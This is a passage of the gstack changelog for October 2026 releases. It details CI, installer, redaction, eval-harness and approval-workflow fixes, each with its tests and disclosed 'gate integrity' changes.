test/gstack-version-bump.test.ts: eight cases for --changelog. They cover the re-heading (checked with normalizeChangelog and checkChangelog), an entry below the predecessor after a main merge, reruns, a file with no [Unreleased], a missing file, the duplicate-heading refusal, bad paths, and a real gstack-restamp run after the write (already headed, then 1.2.4.0 -> 1.2.5.0). Seven of them failed before the fix.

test/ship-version-sync.test.ts: the rendered Step 12 has to handle complete:false, using the field names gstack-next-version emits. Its write command, run verbatim, has to re-head [Unreleased] and leave a released heading alone. Both tests failed before the fix.

[1.91.190.0] - 2026-10-25

The weekly model-policy freshness check reads OpenAI's deprecations page again (#3155). It has been red since the 2026-10-19 run: OpenAI's page now writes some deprecated models as a display name followed by the backticked ids, for example GPT-4o (`gpt-4o-2024-08-06`, `gpt-4o-2024-11-20`), and the parser refused any model cell that did not start with a backtick, so every run stopped with openai-lifecycle:unrecognized-deprecated-model-cell. Left alone, the stored pinned-model evidence would have gone stale around 2026-11-11.

Fixed

lib/model-policy-freshness-sources.ts: an OpenAI deprecated-model cell is accepted when it contains backticked model ids, wherever they sit in the cell, and each id becomes its own lifecycle row. A cell with no backticked id still fails with unrecognized-deprecated-model-cell. The live page (42,211 bytes, fetched 2026-10-24) now parses to 177 rows, including the five ids from its four display-name rows.

Tests

test/fixtures/model-policy-freshness/openai-lifecycle.md gains a display-name row, and test/model-policy-freshness.test.ts checks that both of its ids come out with the row's shutdown date. With the old parser, 16 of the file's 21 tests fail on the new fixture.

Negative controls: the existing cell with its backticks removed, and the new display-name row with unticked ids, both still fail with unrecognized-deprecated-model-cell.

Gate integrity

One accepted-input change to review: the OpenAI lifecycle parser accepts a model cell with text before its backticked ids. It is a weekly advisory check, not a required check. The negative controls above still fail closed, and no threshold, budget, timeout, trial count or case kind changed.

[1.91.189.0] - 2026-10-25

A stalled apt mirror can no longer hold a Free Tests shard for 20 minutes, PR runs now see main's branch layout, and gstack's install default moves to Bun 1.4.4. On 2026-10-21, free-suite (12) in run 39641712129 sat in "Install Playwright Chromium" until the job timeout cancelled it. The browser had already come from cache: --with-deps was waiting on apt's fetch of noble-security from archive.ubuntu.com. No tests ran, and a whole merge train had to be rebuilt. Separately, a push to main checks out a local main while PR runs check out a detached merge ref, so a fixture that created its own main passed its PR and then failed every main push until #3237 (run 38999168852). And Capy images and gbrain now run Bun 1.4.4, which no CI lane tested, while the installer still downloaded 1.4.3.

Fixed

.github/workflows/free-tests.yml: in free-suite and quick-bun-default, the Playwright install gets its own 5-minute timeout (a warm install takes about 15 s), and that install step alone gets one bounded retry, also 5 minutes. This retries infrastructure, never a test: a second failure fails the job. The browser cache is keyed on the Playwright version instead of bun.lock, with no prefix fallback, so a lockfile bump keeps the browser and a Playwright bump never restores a stale revision. quick-bun-default, which had no browser cache, now has one.

.github/workflows/free-tests.yml: free-suite and quick-bun-default run git checkout -q -B main right after checkout on every run whose ref is not main (PRs and train dispatches). Their clone then has the same local main a push run gets, so a PR run catches what the main push would.

bin/gstack-bun-version.sh: GSTACK_BUN_DEFAULT is 1.4.4, the Bun that Capy images ship, that gbrain pins, and that carries the CVE-2026-111497 fix. quick-bun-default runs the quick tier on it. The 1.4.2 minimum, engines.bun, Dockerfile.ci, every other CI lane and the verified archives (1.4.2, 1.4.3, 1.4.4) are unchanged. docs/capy-install.md and docs/troubleshooting.md name the new default.

Tests

test/free-tests-workflow-wiring.test.ts requires the version-keyed cache, the 5-minute install, its single retry as the only continue-on-error step in each job, and the local-main step. Both new cases fail against the previous workflow.

test/gstack-capy-install.test.ts reads the install default from GSTACK_BUN_DEFAULT wherever it meant "the install default", so the next bump doesn't need a literal sweep, and so does the test/runtime-pins.test.ts case that reads gstack's own CI pins. test/bun-resolve.test.ts moves its gbrain-like project pin from 1.4.3 to 1.4.4, gbrain's real pin.

Gate integrity

One gate edit to review: the Playwright install step in the required Free Tests lane is continue-on-error, and a retry step that is not marked that way repeats it. Verdict: not weakening. A shard still fails unless one of the two installs succeeds, and every test, threshold, timeout and trial count stays the same. The local-main step strengthens PR runs. No test assertion was removed.

[1.91.188.0] - 2026-10-24

Pregate maps extensionless .jsx imports to their tests (#3340). On a Next.js or webpack JSX repo, gstack-pregate failed lanes with "has no test lane" for every component imported without an extension, so /ship's receipt refused and the only way out was shipping without one. The import resolver tried .ts, .tsx, .js, .mjs and .cjs but never .jsx, and a directory import found index.ts or index.js but not index.jsx, index.tsx or index.mjs (it fell back to selecting on the whole directory). Reported by adam-balazs.

Fixed

lib/pregate/import-graph.ts: RESOLVE_EXT adds .jsx, .mts, .cts, /index.tsx, /index.jsx and /index.mjs. The existing entries keep their order, so a .js file still wins over a .jsx sibling. Relative, paths alias and baseUrl imports share the list, so all three resolve the new forms.

Tests

test/pregate-selection.test.ts has three new cases: an extensionless import of a .jsx, .mts and .cts file; a directory import that reaches index.jsx, index.tsx and index.mjs and leaves the directory's other files unselected; and a jsconfig paths alias to a .jsx file, with a .js sibling that still wins. All three failed before the change.

Docs

docs/pregate.md lists the extensions and index forms an extensionless import tries, in order.

[1.91.187.0] - 2026-10-24

Four docs now say what the code does: the unattended run contract, the gate reply grammar, the session-kind override and voice triggers. All four were reported by readers who checked the docs against the code. docs/unattended.md promised that every workflow skill ends an unattended run with a run directory and a GSTACK_RESULT line, but only /autoplan has the steps and helpers that write one (#3281, thanks @exGeni). gstack-gate --help still taught the reply grammar from before 1.91.107.0, without rec or as-is, while the render it relays leads with rec (#3282, thanks @exGeni). docs/OPENCLAW.md said only spawned is honored as a GSTACK_SESSION_KIND override, but unattended is honored too (#3287, thanks @exGeni). The README said natural phrases activate the right skill, without saying that only voice-triggers: aliases reach a host and that the plain triggers: list does not (#2118, thanks @jinzheio).

Fixed

docs/unattended.md: the terminal-line section lists who writes the line today: /autoplan (the only skill that writes a run directory), the workflow commands gstack-pregate, gstack-regen, gstack-restamp and gstack-ship-queue (each naming its own record), and a refused launch (status=refused run=-). For /ship, /review, /qa and the other workflow skills it says not to wait for a run directory and names each skill's own record to read instead. It also says /eval-plan has no gate.json writer yet and that /cso skips the shared unattended rules.

bin/gstack-gate --help and the /autoplan owner brief's answer hint (lib/owner-brief.ts) show the current grammar: rec (alias all), rec except <tokens>, <id><option> tokens and as-is. Display text only; the parser is unchanged and all still parses the same as rec.

docs/troubleshooting.md#gate-reply-unparsed gives the same grammar in its fix line.

docs/OPENCLAW.md: the GSTACK_SESSION_KIND section says spawned and unattended are honored, and links to unattended.md.

README.md: the voice input section says which phrases a host sees (voice-triggers: aliases, as router lines on Claude Code and in each description elsewhere) and that triggers: is metadata that does not make a skill activate.

[1.91.186.0] - 2026-10-24

Approving an autoplan run no longer fails one time in ten because its run id looks like a card number. Today's daily flaky-fix pass found test/capy-captain-flow.test.ts failing once and passing on the serial retry in 7 of the 57 Free Tests runs from 2026-10-21 to 2026-10-23, one of them a push to main (39878113535). Every failure had the same assertion: gstack-approvals import refused the approval row with "field ask: pii.cc". The default autoplan run id is run-YYYYMMDDHHMMSS, the import writes it into the row's ask and source, and the credit-card rule saw those 14 digits as a card number whenever they passed the Luhn check, which a timestamp does about one time in ten. A real user's approval import failed the same way.

Fixed

lib/redact-patterns.ts: pii.cc skips a separator-free 14-digit span that reads as a valid YYYYMMDDHHMMSS stamp, using the looksLikeCompactTimestamp check that pii.phone.e164 already uses. The only card numbers 14 digits long (Diners Club) start with 3, and an accepted stamp starts with 1 or 2 (years 1900–2999), so no real card loses coverage.

Tests

test/approval-record.test.ts imports an autoplan run whose run id run-20261024131504 passes Luhn. It failed before the fix with the captain-flow error, and passes now.

test/redact-context-exemptions.test.ts has a new pii.cc table. The ask, the source and a log line carrying a Luhn-valid stamp come back clean. These still report MEDIUM: a 14-digit Diners test number, a Luhn-valid 14-digit run that is not a date (month 13), a 15-digit stamp-prefixed run, the same stamp with spaces, and a 16-digit Visa test number.

Gate integrity

One accepted-input change to review: pii.cc no longer reports a separator-free 14-digit date-time stamp. The negative controls above are unchanged findings. No threshold, budget, timeout, trial count or case kind changed.

[1.91.185.0] - 2026-10-23

Three flaky paid eval cases get repairs: three harness gaps closed and one fixture rule moved to where the agent reads it. Today's daily flaky-fix pass took the two repeat flakes and one periodic timeout from the flaky ledger. plan-design-with-ui-scope failed its first attempt in train gate 39852003387 (its fourth flake) because the Opus 5.5 agent rated the plan "4/10 on design" in plain words and the focus check wanted the words "design completeness". ship-docsync-completion failed in train gate 39904966815 and in GSTA-63's focused run with the same slip both times: the agent added gstack-docs-candidate --help to the end of its first line of reads, which the fixture interface forbids. plan-design-finding-floor timed out at 610 s in periodic run 39209106033 because nothing answered the owned plan-file Create menu after its title scrolled off screen; two focused trials then showed a second stall, at the Step 0D focus menu the floor actor answers only when it matches one captured wording.

Fixed

test/skill-e2e-plan-design-with-ui.test.ts: the Step 0A rating the focus check looks for is now any sentence that scores the plan's design out of 10, so "I rated this plan 4/10 on design." counts like "4/10 on design completeness". The check still needs a question that names the focus and an option that leads with all seven areas, and a rating split from the word "design" across sentences, an unscored design sentence, and a non-design score are still refused.

test/helpers/docsync-interface.ts: the declared observation interface now states the own-call rule in the sentence that introduces the Preamble block, lifecycle helpers and gstack-docs-candidate commands ("each as its own Bash call, with nothing joined before or after it ... a --help is no exception"), instead of in a later sentence after the read grammar. The grammar is unchanged and the captured joined line is still refused.

test/helpers/plan-count-file-permission.ts: a cropped owned Create menu whose preview starts on the native rule (the "Create file" title and file row scrolled away) now binds to its pending Write, as a cropped Edit menu already did. Every preview row must still match the owned Write's content, and the prompt must still name the owned file.

test/fixtures/design-floor-focus-picker.ts: the floor actor's Step 0D answer moves out of the shared PTY harness into the case's own fixture, and runPlanSkillFloorCheck takes it through a new optional pickSetupChoice hook that only plan-design-finding-floor passes. The answer (pickDesignFocusAll, the seed's declared "review all seven dimensions") identifies the focus menu by its structure: a title or question about the focus, exactly one option that is all seven dimensions, passes or areas, every other option narrowing ("Only …", "Focus …" or "… only"), and a Project/branch/task line naming PLAN.md or the seeded plan. It used to need the exact title "Review all 7 design dimensions, or focus?", a source line reading "plan-design-review of PLAN.md" and an ELI10 that began with the rating, so the template's own 0D sentence ("I've rated this plan 2/10 on design completeness. … Want me to focus on specific areas instead?") and a menu titled "Review focus for the landing page plan" both sat unanswered until the 610 s timeout. A second question, a quoted or foreign plan, a non-narrowing alternative, two all-seven options and a bundled approval still get no answer.

Tests

test/plan-design-with-ui-fixture.test.ts replays gate 39852003387's four native questions (test/fixtures/design-ui-focus-capture-39852003387.json) as a pass, and the same capture without its focus question as a failure. New controls: a rating and the word "design" in different sentences, and an unscored design sentence.

test/docsync-command-grammar.test.ts checks that the captured joined line stays refused, that the candidate's --help alone is accepted, and that the sentence naming the candidate commands carries the own-call rule.

test/plan-create-prepublication.test.ts replays the periodic run's final viewport (test/fixtures/plan-design-floor-create-rule-crop.json): it is granted once and fails without the fix. Controls: two rules, text above the rule, a quoted row, a changed row and a foreign file name are refused.

test/plan-design-floor-fixture.test.ts (the case's owner test; the rows moved with the picker from the boundaries unit test) replays both pending focus menus from the focused trials (test/fixtures/design-floor-focus-template-0d.json, test/fixtures/design-floor-focus-review-focus.json); each selects the all-seven option, and the template-worded one failed before the change. New controls: a question not about focus, a foreign or quoted plan, an alternative that does not narrow, and a second question.

Gate integrity

No threshold, budget, timeout, trial count or case kind changed. Two accepted-input changes to review: the plan-design focus rating accepts "design" without "completeness", and the floor actor answers the 0D focus menu without requiring a rating sentence or one exact title (it answers only with the seed's declared all-seven option).

HARNESS_VERSION stays 6. boundaries.ts, claude-pty-runner.ts and runners/floor.ts are recorded non-behavioral: the picker left the shared harness and the new hook has one caller, so no other case's input or verdict can change, while plan-design-finding-floor's owned bytes (its test file and the new fixture) start that case's own pass-rate series.

[1.91.184.0] - 2026-10-23

The office-hours attempt lifecycle test no longer races the wall clock. Today's daily flaky-fix pass: in #3341's remote pregate, "recommendation near-success stays inside the shared work deadline" failed once with two judge starts where it expects one, then passed on the serial retry. Its fake runner and judge used real sleeps (220 ms plus 10 ms) against a mocked 300 ms deadline, so a loaded machine could push the first attempt past it. The sibling late-judge case had the same exposure from the other side.

Tests

test/office-hours-attempt.test.ts: the plan-format lifecycle subprocess now runs on Bun's fake timers, and the fake runner and judge advance them by their scenario durations instead of sleeping. The helper's own deadline (Date.now() and its setTimeout) moves only when the fixture says so, so near-success always finishes at 230 ms of 300 and late-judge always crosses the deadline, whatever the machine's load. With a 400 ms real stall injected into the fake runner, near-success and late-judge failed before the change and pass after it. The whole file passed 20/20 runs unloaded and 20/20 under 8 busy loops on 4 cores.

Gate integrity

No product code, budget, timeout, threshold or assertion changed: the mocked 300 ms capture budget, the 50 ms drain grace and the scenario durations are the same.

[1.91.183.0] - 2026-10-23

A rejected API key no longer turns a gate into 131 assertion reds and 131 reruns. Train gate run 39696775546 ran with a rejected ANTHROPIC_API_KEY. Every case failed on a 401 before the model ran, and the report counted them as assertion failures. Rule 16 then reran all 131 cases with the same key. A trial whose provider rejected the run's credentials is now INFRA: the gate never reruns it, the verdict counts it under INFRA, and its failure line reads credentials rejected: Invalid API key · …. A real assertion failure that only mentions a key keeps its class and is still rerun.

Fixed

test/helpers/eval-store.ts: credentialRejection() finds the evidence in a trial's API-error sessions or its failure text: Anthropic's 401 authentication_error body, the CLI's authentication_failed code or Invalid API key · message, or OpenAI's invalid_api_key code. Both record builders use it. The JUnit census (scripts/lib/paid-report.ts, which feeds the rerun plan) and classifyTrialShard (trial panels) mark such a trial infra. Contract evidence still wins.

Session ledger: the claude -p and Agent SDK observer (SessionObserver) ends a session as api_error on the CLI's synthetic Invalid API key message, not just on API Error: lines. Both PTY ledger writers (screenPanelEnd in test/helpers/pty/screen.ts) record the rejection line wherever it is on screen, because after one the CLI sits at a plan-mode or manual-mode footer that the idle check doesn't recognize. Before this, autoplan-guard-pty recorded completed with no evidence.

Report headline: the INFRA count includes rule cases with an INFRA-class failure, not only trial panels.

Gate integrity (a gate edit): a credential rejection was already a red, and it is still a red. Only its class changes, from assertion to INFRA, so rule 16 no longer reruns it. No case's pass or fail changes. No threshold, trial count, case kind, judge model, EVAL_POLICY constant or HARNESS_VERSION changed; the edit is recorded as non-behavioral in scripts/harness-version.json. Known gap: local --case diagnosis and the train bisect's file-mode trials still classify by shard status.

For contributors

test/credential-rejection.test.ts replays trimmed captures from run 39696775546 (test/fixtures/credential-rejection-39696775546.json) through each runner's evidence path and the real --report and --rerun-plan CLI paths. Negative controls cover assertion failures that mention a key, an API key or an auth word, and a non-credential API error.

[1.91.182.0] - 2026-10-23

gstack installs on a project that pins Bun 1.4.4 again. gbrain master moved its CI to Bun 1.4.4 (gbrain #7374, the Brotli CVE-2026-111497 fix), and gstack's Capy installer then stopped every gbrain session with RUNTIME_PIN_CONFLICT ("verified archives: 1.4.2 1.4.3 … pins exactly 1.4.4"), because it installs only Bun archives whose SHA-256 it carries. It now carries 1.4.4, so the same run installs the pinned Bun and ends gstack: ok.

Fixed

bin/gstack-bun-version.sh: GSTACK_BUN_VERIFIED is now 1.4.2 1.4.3 1.4.4, with 1.4.4's checksums for linux-x64, linux-x64-baseline and linux-aarch64, the targets 1.4.3 covers. They come from the release's SHASUMS256.txt.asc, whose clearsigned signature verifies against Bun's release key F3DCC08A8572C0749B3E18888EAB4D40A7B22B59 (Robobun, the key oven-sh/bun's own Dockerfiles assert), and each archive was downloaded and hashed to the same value. The 1.4.2 and 1.4.3 entries are unchanged and verify the same way. gstack's own minimum (1.4.2), install default (1.4.3) and CI pins do not move.

test/gstack-capy-install.test.ts: a gbrain-like repo whose CI pins only 1.4.4 refuses ~/.bun 1.4.3 and installs the 1.4.4 archive. test/bun-version-drift.test.ts: every verified version must carry a checksum for each installer target. The existing "verified archives" text assertions list 1.4.4.

[1.91.181.0] - 2026-10-23

/cso can run its contained runtime checks. Before this release the runtime catalog qualified nothing, so /cso always fell back to static assessment. It now qualifies ten pinned images: Node 24.4.0, Bun 1.3.10, Python 3.13.4 with uv 0.8.0, Rails on Ruby 3.4.4, and PostgreSQL 17.2, each for linux/amd64 and linux/arm64. With Docker installed, comprehensive /cso boots the target app inside the matching image and tests findings and repairs against it. The images passed the private evaluator's release qualification (run-5 statements, re-delivered under Garry's approval). The ingress then checked them in qualify run 39674065531 at 514fbfd.

Added

lib/cso/runtime-catalog.json is now catalog cso-v3-39674065531-133cb360842d, which replaces cso-v3-build-reviewed-2026-09-10. Promote run 39841502986 generated it from qualification run 39674065531's authenticated statements and attested it. GitHub Actions committed the attested bytes (sha256:078e0bf6…). Each runtime's image is pinned to a public ghcr.io/garrytan/gstack/cso-staging/…@sha256 digest, and each entry records its source commit (133cb36), SBOM and provenance digests, and requalification triggers (preparationSha256 c721b585…).

For contributors

The /cso free tests no longer assume the committed runtime catalog is empty. Six tests pinned runtimes: [] and broke as soon as a promotion landed. Tests that need an unqualified catalog now build one with unqualifiedRuntimeCatalog(). The replay tests expect whichever fail-closed rejection the committed catalog produces, so the suite passes with the catalog both before and after a promotion.

[1.91.180.0] - 2026-10-22

The /cso docs say what the qualified catalogs now allow. AGENTS.md, the README and docs/cso-release-qualification.md still said that no qualified runtime or scanner image existed, so /cso ran static assessment only. The scanner catalog has been qualified since #3042. The runtime catalog becomes qualified with the runtime promotion PR that ships alongside this one.

Changed

AGENTS.md, README.md and docs/cso-release-qualification.md: the /cso entries name the ten qualified runtime images and the twelve scanner images, and say when /cso still falls back to static assessment: without Docker, or where no profile matches.

[1.91.179.0] - 2026-10-22

docsync-fault-interface fits its budgets under load again. On 2026-10-18 it timed out under load on a Ubicloud full run. Its nested 36-case suite spent most of its time starting processes: each fault actor spawn loaded about 36 ms of imports (an empty bun takes 5.5 ms), inspect repeated Git reads, and the whole nested run sat under one 120 s outer test. With real Git on 4 cores, inner cases now take a 0.70 s median (max 1.25 s) unloaded, against 1.07 s before. Under 8 busy loops the max is 3.44 s, inside bun's default 5 s; before, cases reached 4.45 s. The worst outer test went from about 100 s of its 120 s cap to 33 s. No timeout, budget, retry, assertion or case changed.

Fixed

test/helpers/docsync-fault-actor.ts: imports only light helper modules, hashes with Bun.CryptoHasher instead of loading node:crypto, and loads the redaction engine only on the snapshot-failure path. inspect makes 8 Git calls instead of 11, and the snapshot base check reuses the --base it just passed. Each actor spawn now costs 15–19 ms.

test/helpers/docsync-repo.ts, test/helpers/docsync-interface.ts (new): the fixture's Git and file helpers and docsNativeInterface moved out of the fixture and observer modules, so the actor stops loading the eval store and the QA observer. docsync-fixture.ts and docsync-observer.ts re-export them, so no importer changed. The fixture writes its Git identity with one append to .git/config instead of three git config calls.

bin/gstack-docs-candidate: snapshot lists ls-files once instead of twice and hashes with Bun.CryptoHasher. A snapshot spawn went from 68 ms to 46 ms, and the record it writes is byte-identical.

test/docsync-fault-interface.test.ts: the nested callback run is split into three outer tests by test-name pattern (10, 12 and 14 cases). Each part asserts its exact pass count, its exact filtered-out count and 0 fail, so all 36 cases still run and the patterns are disjoint.

[1.91.178.0] - 2026-10-22

A /qa run no longer gets a hint that another report root could change its verdict. Train gate 39646086155 failed qa-functional-webhook-fix once, and gate 39166935531 failed qa-functional-cli-fix the same way on 2026-10-18. Both times the agent ran gstack-qa-evidence materialize, read a fail verdict that ended "this verdict is final for this report root", and its very next call wrote a stray placeholder file in the fixture's parent directory (qa-reports-placeholder-unused, qa-Q3vLqZ-placeholder) before writing report.md. Each agent then reported the stray file itself. The out-of-fixture write detector was right both times and is unchanged.

Fixed

lib/qa-evidence.ts: materialize's next instruction now ends "this verdict is final. Next, write the Markdown report beside evidence.json." It names the next write and where it goes, instead of qualifying the verdict by report root.

test/helpers/qa-functional-eval.ts: the functional fixture's declared interface says that every Write/Edit targets an owned path inside the working directory, and that a write anywhere else, including the parent directory, fails acceptance. That was already the acceptance rule; the prompt now states it.

Gate integrity

No detector, threshold, trial count or case kind changed. test/qa-evidence.test.ts pins the new next wording and checks that it no longer mentions a report root.

[1.91.177.0] - 2026-10-22

The /cso runtime promotion workflow can finish. Promote run 39691485727 failed after its cso-runtime-release approval. Its "Generate a fail-closed catalog candidate" step calls gh api …/compare to prove the staged commit is an ancestor of the qualification head, but the step had no GH_TOKEN. On a hosted runner gh then exits 4 ("set the GH_TOKEN environment variable"). The run stopped before it signed, pushed or opened anything.

Fixed

.github/workflows/cso-runtime-promote.yml: the candidate step gets GH_TOKEN: ${{ github.token }}, like every other step there that calls gh.

test/workflow-gh-token.test.ts (new): fails when any step in any workflow invokes gh with no GH_TOKEN or GITHUB_TOKEN in its step, job or workflow env. actionlint does not check this. This step was the only one in the repository missing a token.

[1.91.176.0] - 2026-10-21

A qualified /cso runtime set can be released again after the S1 shebang change. The release contract fingerprints every source byte compiled into a runtime image (preparationSha256). S1 (#3312) changed only line 1 of the two compiled helpers, lib/cso/verifier.ts and lib/cso/preparation-container.ts, from #!/usr/bin/env bun to the isolated shebang. That line is embedded in the compiled binary as an unused string and never runs in the image, but it moved the fingerprint. Qualify run 39535948607 therefore refused the run-5 statements, staged at 133cb36, with STALE_RUNTIME_QUALIFICATION: preparationSha256. Garry chose this narrow rule change over a re-stage and a fresh paid qualification (2026-10-21, option 2).

Changed

scripts/cso-requalification.ts: preparationSha256 hashes a compiled helper entrypoint's leading #! line as absent. Every other byte of the helpers, and every byte of every other image source including its shebang lines, still counts. 133cb36 and main both measure c721b585….

scripts/cso-runtime-promotion.ts (releaseCandidate): when the staging record's preparationSha256 differs from the checkout's, the release contract re-measures it at the staged commit from git history. The record must match that commit under the current rule or the earlier one, which also hashed the shebangs; otherwise it fails with REQUALIFICATION_TRIGGERS_MISMATCH. The current-rule value is compared and recorded, so both sides use the same rule.

cso-runtime-qualification.yml, cso-runtime-promote.yml: check out full history so the staged commit is readable.

Gate integrity

Gate edit, a narrowing with Garry's approval: the release contract's preparationSha256 comparison ignores the leading #! line of the two compiled helpers on both sides. Nothing else gets a pass. test/cso-runtime-promotion.test.ts runs the contract on the real 133cb36 record (b069f7ef…) against a main tree. These still fail with STALE_RUNTIME_QUALIFICATION: a line-2 edit to either helper, an image Dockerfile edit, and a shebang edit to the image entrypoint. A record that matches neither rule at the staged commit fails with REQUALIFICATION_TRIGGERS_MISMATCH.

[1.91.175.0] - 2026-10-21

A free-suite flake now keeps the assertion that failed. Four free-test flakes in the flaky ledger (plan-seed-submission, native-paste, qa-only preparation-late and the gstack-upgrade fresh-shell positive control) could not be diagnosed: each failed once on a Ubicloud or remote-pregate run, passed on the serial retry, and its log died with the machine that pulled it. The runner's console printed only the failing test's name, and the flake ledger recorded only the file.

Changed

scripts/test-free-shards.ts: the result reporter keeps the error bun printed before each (fail) line: from its first error: line, without blanks or CI annotations, at most 8 lines of 240 characters. The FAIL epilogue prints that excerpt under each ✗ <file> — <test> line, so it reaches the console stream that remote pregates relay. A FLAKY-PASS ledger entry now records tests: [{ name, excerpt }] for each file. Existing ledger readers ignore the new field. Verdicts, retries and their cap are unchanged.

Tests

test/test-free-shards.test.ts replays the Windows team-init PowerShell failure as bun printed it (run 39448730953, attempt 1) and checks the excerpt and the epilogue. The real CLI flaky-retry routes (retry-reader, retry-exclusive) now check that the ledger entry names the failed test with Expected: 2 / Received: 1.

[1.91.174.0] - 2026-10-21

Two paid eval flakes from the 2026-10-20 trains are repaired at their cause, with no threshold, trial count or case kind changed. ship-local-hook-preservation failed in train gate 39440559183 even though the agent told the user "you'll need to set it up by hand": the manual-integration detector knew "set up" and "wire in" only with the particle right after the verb. ship-docsync-current lost a focused trial to an unquoted grep … --include=*, which the shared read-only grammar refuses on purpose because the shell expands the glob first; the grammar's declared interface said "unquoted glob matches included" and never said that an option's glob has to be quoted.

Fixed

test/helpers/ship-hook-actor.ts: the manual-integration sentence now accepts a pronoun object inside the phrasal verb (set it up, set both up, wire them in). The rest of the rule is unchanged: the sentence still needs "yourself", or "by hand" plus an addressee.

test/helpers/read-only-commands.ts: the declared interface now says that an unquoted glob may stand only as a path operand, and shows the quoted option form (--include='*.md', -name '*.md'). A refused globbed option names the quoted form in its reason (globbed option: --include=*; quote the glob: --include='*'). The grammar accepts and refuses exactly the same commands as before.

Gate integrity

Gate edit: the ship-local-hook-preservation detector (above). test/ship-hook-actor.test.ts replays all 8 Opus 5.5 train and backstop gate replies for the case (test/fixtures/ship-local-hook-train-replies.json, runs 39363705692–39515353585). Without the fix, the 39440559183 reply fails. New negative controls keep these refused: a first-person "I set it up by hand", a passive "It was set up by hand", "Whoever … needs to work out how to combine them" (no by-hand step), and "I wired them in myself".

No grammar acceptance change. test/read-only-command-grammar.test.ts replays the captured --include=* command: it is still refused, its reason names the quoted form, the docsync interface carries the new sentence, and the quoted form and both examples are accepted.

[1.91.173.0] - 2026-10-20

Merge trains can merge slot 2 onward. After slot 1 merges, main carries the new stamp, so every later pin conflicts with main on the stamp files and GitHub can't squash it. A lane makes its PR mergeable by merging main into the pin before it stamps. verify --pr <n> --train <nonce> refused that head as moved off its pin. Now it also accepts a head whose tree equals the slot's train prefix (T) modulo stamps: exactly the tree the train's gate covered, and what main becomes once the PR squash-merges. The first live train stopped at slot 2 on this (gate.train-ac4baf961759-43d6ed28f2bf-9a1dbb). Plan GSTA-49.

Fixed

lib/ship-queue-train-verify.ts accepts a slot head that is either its pin plus stamps (as before) or T modulo stamps, and the head: line says which. A head that matches neither is still QUEUE_TRAIN_MOVED, and the queue still freezes when earlier slots have merged.

docs/ship-policy.md gives the per-slot lane procedure from slot 2 on: merge origin/main into the pin, resolve the CHANGELOG conflict with mergeChangelogs, then run gstack-restamp --next.

Gate integrity

test/ship-queue-train.test.ts builds a lane head with main merged into the pin and T2's tree stamped 1.2.5.0. It verifies, with MERGE_CONDITION at that head. The same head plus one file outside the train fails with QUEUE_TRAIN_MOVED. Without the fix, the positive case fails.

[1.91.172.0] - 2026-10-20

gstack now works the way Capy Captains run work: every decision goes to the Captain (or the person) in plain words, plan approvals arrive in a fixed before/after shape, each thread keeps a record of who approved what, and /ship's PR body shows before/after images of what changed. Garry asked for this on 2026-10-20 ("make it much more obvious a/ how approvals work per thread, b/ for each plan approval i want a before/after, why it matters, what caused us to work on this, and big decisions you had to make, c/ when asking for merge guidance i want the PRs to show screenshots of what changed and why"). Everything below applies only when GSTACK_CAPY=1 (the Capy launch line sets it). Other hosts keep their output, apart from one new CAPY: off STATUS line.

Added

capy-asks runtime block (bin/gstack-skill-start). Every workflow started in Capy prints CAPY: on and one instruction block. A crew thread asks its Captain with a needs-you report, and a thread with no Captain asks the person with a Capy question; never as a bare question or gate codes. Each ask states what it is, why it matters, what each answer does and costs, the pick, and the one-word reply. Plan approvals use the Captain brief. Every answer is recorded. Standing approvals the Captain lists are cited instead of asked again. A fixed list always needs a fresh ask: product or behaviour decisions, spend over a stated cap, publishing, threshold, budget or trial-count changes, closing someone's contribution, and anything destructive. GSTACK_CAPY_ASKS=0 drops the block for one session. No generated SKILL.md grows.

Captain brief (gstack-owner-brief render --captain --out <run>, lib/captain-brief.ts). It prints the plan ask in this order: a header with "Reply rec", then Before → after, Why it matters, What caused this work, Big decisions (read from the reviewed plan's sections, each capped with a pointer to the plan), and What we need from you, which lists every choice rec takes, in words. Gate ids, gate_rev, rec_hash and the exact answer command appear only on the last line, which is for the relaying agent. A plan missing a section renders "Not ready for approval" with no reply invitation and exits 1 (CAPTAIN_BRIEF_INCOMPLETE; --allow-incomplete previews). Under Capy, gstack-autoplan prints a RELAY: gstack-owner-brief render --captain … line next to every GATE: line and after recommend.

Per-thread approval record (gstack-approvals, lib/approval-record.ts). add --ask --words --by --scope [--pending] [--outcome approved|rejected|pending|standing], import --autoplan <run> --by <name> (one row per answer event, typed or relayed, idempotent), render (the ## Approvals table), list, sync, path. Rows live at <state root>/projects/<slug>/approvals/<branch key>.jsonl (a readable prefix plus a hash of the exact ref). Under Capy they are mirrored to the private project-user Drive folder (or GSTACK_APPROVALS_DIR), because the machine's state root is thrown away. Every field passes the secret scanner before anything is written (APPROVAL_RECORD_SECRET names the field and rule, never the text). The table escapes mentions, links, images, HTML and citation-shaped text, so the ship receipt never reads it as an approval citation. A fresh Capy machine with no record and no mirror says "Record unavailable", not "No approvals recorded" (APPROVAL_RECORD_UNAVAILABLE).

Before/after images (gstack-pr-shots, lib/pr-shots.ts). Takes a tracked file (optionally one heading's section, via the same fence-aware parser as the brief, lib/markdown-sections.ts) at the merge base and in the working tree, or two captures inside the repository. It writes a stacked Before/After page at GitHub's 880 px column, with changed hunks only, a −/+ gutter as well as colour, and "⋯ N unchanged lines" gaps, so a change deep in a file stays visible. It also writes text.md (a collapsed unified diff for the PR body) and renders pair.png through lib/aside-render.ts. It reads text only and runs nothing. Inputs are size-capped, ANSI-stripped, refused when binary or outside the repository and state root, and secret-scanned before rendering; refs are resolved without option parsing. With no browser it prints SHOT_PNG: unavailable (…) and exits 0, so the caller can screenshot shot.html itself.

/ship Capy section (ship/sections/capy-pr.md). When Step 19 prints CAPY_PR: on, the PR body opens (after the receipt) with ## What changed: one to three captioned before/after images uploaded with Capy's PR asset tool, public repositories only, each with its text version under it. Then come ## Why and ## Approvals (gstack-approvals render), and the READY report attaches the key image. Outside Capy the section is never read.

Capy skill: "Working under a Captain" plus capy/skill/gstack/captain.md. The skill now explains in one section how approvals flow, what standing approvals look like, what always needs a fresh ask, the record, the plan-ask shape and the merge-ask shape. captain.md has the worked commands. autoplan/DRIVER.md's "On Capy" rules name the four plan sections, the brief and the import.

Changed

Owners refresh their Drive skill copy by hand. The skill folder gained guidance ("Working under a Captain", captain.md); the bootstrapper is unchanged, so the wrapper stays at 2 and no stale-copy notice fires. Copy the folder over the Drive skill to pick it up: cp -R ~/.local/share/gstack/capy/skill/gstack/. <drive>/skills/gstack/.

